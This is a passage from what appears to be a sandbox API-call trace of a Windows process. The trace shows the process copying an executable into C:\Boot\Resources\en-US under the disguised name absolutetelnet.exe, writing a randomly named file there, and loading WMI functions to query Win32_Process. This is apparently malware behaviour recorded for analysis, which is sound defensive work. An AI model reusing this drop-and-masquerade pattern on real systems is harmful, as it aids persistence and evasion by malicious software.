ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0124.283] FindClose (in: hFindFile=0x1b3e6b50 | out: hFindFile=0x1b3e6b50) returned 1 [0124.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0124.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0124.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0124.284] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US", lpFilePart=0x0) returned 0x17 [0124.284] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*" (normalized: "c:\\boot\\resources\\en-us\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b3e6df0 [0124.284] FindNextFileW (in: hFindFile=0x1b3e6df0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x1b3e6df0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9ea99bcf, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0124.285] FindNextFileW (in: hFindFile=0x1b3e6df0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9ea99bcf, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0124.285] FindClose (in: hFindFile=0x1b3e6df0 | out: hFindFile=0x1b3e6df0) returned 1 [0124.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0124.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0124.396] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b10daa0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0124.396] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1b10daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0124.397] CopyFileW (lpExistingFileName="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), lpNewFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), bFailIfExists=0) returned 1 [0124.851] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d", nBufferLength=0x105, lpBuffer=0x1b10d8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d", lpFilePart=0x0) returned 0x26 [0124.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10dd80) returned 1 [0124.851] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\9e3bd0c464004d" (normalized: "c:\\boot\\resources\\en-us\\9e3bd0c464004d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x414 [0124.853] GetFileType (hFile=0x414) returned 0x1 [0124.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10dcf0) returned 1 [0124.853] GetFileType (hFile=0x414) returned 0x1 [0124.856] WriteFile (in: hFile=0x414, lpBuffer=0x28cff60*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x1b10ddb8, lpOverlapped=0x0 | out: lpBuffer=0x28cff60*, lpNumberOfBytesWritten=0x1b10ddb8*=0x14f, lpOverlapped=0x0) returned 1 [0124.858] CloseHandle (hObject=0x414) returned 1 [0124.986] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x414 [0124.989] CoGetObjectContext (in: riid=0x28d1538*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0125.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b10c280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0125.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1b10c880, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dllÌ\x10\x1b", lpUsedDefaultChar=0x0) returned 65 [0125.005] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7ffb13d10000 [0125.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1b10c8c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0125.020] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="ResetSecurity") returned 0x7ffb13d131e0 [0125.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1b10c8c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity\x02û\x7f", lpUsedDefaultChar=0x0) returned 11 [0125.033] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="SetSecurity") returned 0x7ffb13d13250 [0125.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1b10c8b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x8d\x02", lpUsedDefaultChar=0x0) returned 18 [0125.049] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="BlessIWbemServices") returned 0x7ffb13d11ab0 [0125.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1b10c8b0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x80", lpUsedDefaultChar=0x0) returned 24 [0125.133] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="BlessIWbemServicesObject") returned 0x7ffb13d11b60 [0125.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1b10c8b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle(\x8d\x02", lpUsedDefaultChar=0x0) returned 17 [0125.213] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetPropertyHandle") returned 0x7ffb13d12820 [0125.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1b10c8b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x8d\x02", lpUsedDefaultChar=0x0) returned 18 [0125.222] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="WritePropertyValue") returned 0x7ffb13d13500 [0125.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b10c8c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0125.251] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Clone") returned 0x7ffb13d11c10 [0125.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1b10c8b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0125.265] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="VerifyClientKey") returned 0x7ffb13d133e0 [0125.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x1b10c8b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0125.274] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetQualifierSet") returned 0x7ffb13d129a0 [0125.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x1b10c8c0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get\x02", lpUsedDefaultChar=0x0) returned 3 [0125.277] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Get") returned 0x7ffb13d12510 [0125.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x1b10c8c0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put\x02", lpUsedDefaultChar=0x0) returned 3 [0125.295] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Put") returned 0x7ffb13d12b60 [0125.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x1b10c8c0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete", lpUsedDefaultChar=0x0) returned 6 [0125.302] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Delete") returned 0x7ffb13d12100 [0125.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x1b10c8c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames\x80", lpUsedDefaultChar=0x0) returned 8 [0125.307] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetNames") returned 0x7ffb13d12750 [0125.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x1b10c8b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumerationÐ:\x91\x02", lpUsedDefaultChar=0x0) returned 16 [0125.366] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="BeginEnumeration") returned 0x7ffb13d11a20 [0125.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x1b10c8c0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next", lpUsedDefaultChar=0x0) returned 4 [0125.377] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Next") returned 0x7ffb13d12a80 [0125.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x1b10c8c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration", lpUsedDefaultChar=0x0) returned 14 [0125.397] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="EndEnumeration") returned 0x7ffb13d12260 [0125.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x1b10c8b0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0125.402] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetPropertyQualifierSet") returned 0x7ffb13d12940 [0125.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b10c8c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0125.407] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="Clone") returned 0x7ffb13d11c10 [0125.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x1b10c8c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x7f", lpUsedDefaultChar=0x0) returned 13 [0125.407] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetObjectText") returned 0x7ffb13d127c0 [0125.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x1b10c8b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassK\x95\x02", lpUsedDefaultChar=0x0) returned 17 [0125.417] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="SpawnDerivedClass") returned 0x7ffb13d132d0 [0125.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1b10c8c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x7f", lpUsedDefaultChar=0x0) returned 13 [0125.423] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="SpawnInstance") returned 0x7ffb13d13330 [0125.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1b10c8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo", lpUsedDefaultChar=0x0) returned 9 [0125.425] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="CompareTo") returned 0x7ffb13d11d30 [0125.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1b10c8b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginM\x95\x02", lpUsedDefaultChar=0x0) returned 17 [0125.434] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetPropertyOrigin") returned 0x7ffb13d128e0 [0125.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1b10c8c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromû\x7f", lpUsedDefaultChar=0x0) returned 12 [0125.440] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="InheritsFrom") returned 0x7ffb13d129e0 [0125.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1b10c8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod", lpUsedDefaultChar=0x0) returned 9 [0125.442] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetMethod") returned 0x7ffb13d12620 [0125.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1b10c8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod", lpUsedDefaultChar=0x0) returned 9 [0125.455] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="PutMethod") returned 0x7ffb13d12e00 [0125.468] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="DeleteMethod") returned 0x7ffb13d12140 [0125.469] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="BeginMethodEnumeration") returned 0x7ffb13d11a60 [0125.469] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="NextMethod") returned 0x7ffb13d12af0 [0125.472] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="EndMethodEnumeration") returned 0x7ffb13d12290 [0125.473] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetMethodQualifierSet") returned 0x7ffb13d126f0 [0125.473] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetMethodOrigin") returned 0x7ffb13d12690 [0125.474] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_Get") returned 0x7ffb13d12f20 [0125.490] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_Put") returned 0x7ffb13d13050 [0125.495] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_Delete") returned 0x7ffb13d12eb0 [0125.496] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_GetNames") returned 0x7ffb13d12f90 [0125.499] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_BeginEnumeration") returned 0x7ffb13d12e70 [0125.500] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_Next") returned 0x7ffb13d12ff0 [0125.503] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="QualifierSet_EndEnumeration") returned 0x7ffb13d12ef0 [0125.503] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetCurrentApartmentType") returned 0x7ffb13d129a0 [0125.506] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="GetDemultiplexedStub") returned 0x7ffb13d12580 [0125.509] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="CreateInstanceEnumWmi") returned 0x7ffb13d11ff0 [0125.520] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="CreateClassEnumWmi") returned 0x7ffb13d11ef0 [0125.520] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="ExecQueryWmi") returned 0x7ffb13d123f0 [0125.546] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="ExecNotificationQueryWmi") returned 0x7ffb13d122d0 [0125.546] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="PutInstanceWmi") returned 0x7ffb13d12ce0 [0125.554] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="PutClassWmi") returned 0x7ffb13d12bc0 [0125.555] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="CloneEnumWbemClassObject") returned 0x7ffb13d11c50 [0125.564] GetProcAddress (hModule=0x7ffb13d10000, lpProcName="ConnectServerWmi") returned 0x7ffb13d11d90 [0125.636] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0125.636] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x28d1518*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0125.637] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.682] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1b10d318 | out: lpiid=0x1b10d318) returned 0x0 [0125.689] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x33a4c0) returned 0x0 [0125.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a4c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0125.796] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a4c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x3515c0) returned 0x0 [0125.797] WbemDefPath:IUnknown:Release (This=0x33a4c0) returned 0x0 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x3515c0) returned 0x0 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0125.798] WbemDefPath:IUnknown:AddRef (This=0x3515c0) returned 0x3 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0125.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x33a3e0) returned 0x0 [0125.798] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a3e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.798] WbemDefPath:IUnknown:Release (This=0x33a3e0) returned 0x3 [0125.798] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0125.800] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0125.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0125.800] WbemDefPath:IUnknown:Release (This=0x3515c0) returned 0x2 [0125.800] WbemDefPath:IUnknown:Release (This=0x3515c0) returned 0x1 [0125.802] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0125.802] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0125.802] WbemDefPath:IUnknown:QueryInterface (in: This=0x3515c0, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x3515c0) returned 0x0 [0125.802] WbemDefPath:IUnknown:AddRef (This=0x3515c0) returned 0x3 [0125.802] WbemDefPath:IUnknown:Release (This=0x3515c0) returned 0x2 [0125.812] WbemDefPath:IWbemPath:SetText (This=0x3515c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0125.815] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3515c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0125.815] WbemDefPath:IWbemPath:GetText (in: This=0x3515c0, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0125.816] WbemDefPath:IWbemPath:GetText (in: This=0x3515c0, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0125.816] WbemDefPath:IWbemPath:GetInfo (in: This=0x3515c0, uRequestedInfo=0x0, 